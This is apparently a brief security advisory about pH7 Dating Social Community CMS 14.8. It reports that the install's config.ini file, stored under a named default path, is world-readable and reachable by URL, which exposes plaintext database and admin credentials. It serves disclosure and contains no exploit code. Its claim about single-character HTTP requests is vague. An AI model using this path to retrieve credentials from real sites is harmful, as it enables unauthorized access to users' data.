# Description about Software :
***************************
Config file of pH7 Dating Social Community CMS

pH7 Dating CMS is a Social/Dating CMS written in Object-Oriented PHP (OOP), 

fully compatible and highly optimised for PHP 7+ and based on MVC architecture (Model-View-Controller).

It is designed with the KISS principle in mind, and the whole source code can be read and 

understood in minutes. For a better flexibility, the software uses PDO (PHP Data Objects) 

abstraction which allows the choice of the database. The principle of development is DRY 

(Don't Repeat Yourself) aimed at reducing repetition of information of all kinds (no duplicate code) 

and YAGNI principle to avoid unused code/not needed functionality in the software.

This Free and Open Source Social Dating Site Builder wants to be low resource-intensive, 

powerful, stable and secure. The software also comes with 38 system modules and is based 

on pH7Framework (written specifically for this project) that has over 52 packages.

To summarize, pH7CMS gives you the perfect ingredients to create the best online 

dating service or social networking website on the World Wide Web!

# Impact :
***********
ph7CMS Social Dating Community 14.8 [ and other versions ] configuration file may potentially 

disclose sensitive information to remote attackers.

The configuration file that ph7CMS Social Dating Community 14.8 stored in /_install/data/configs/config.ini

HTTP requests consisting of a single character will cause the software to 

disclose sensitive configuration information, including the password/database to the administrative web interface.

This file is installed, by default, with world readable and possibly world writeable permissions enabled. 

This may have some potentially serious consequences as the configuration 

file also stores password information in plain text.

This issue occurs because access controls on configuration files are not properly set.

An attacker can exploit this issue to retrieve potentially sensitive information. 

Attackers can access config file via URL request. This may aid in further attacks.
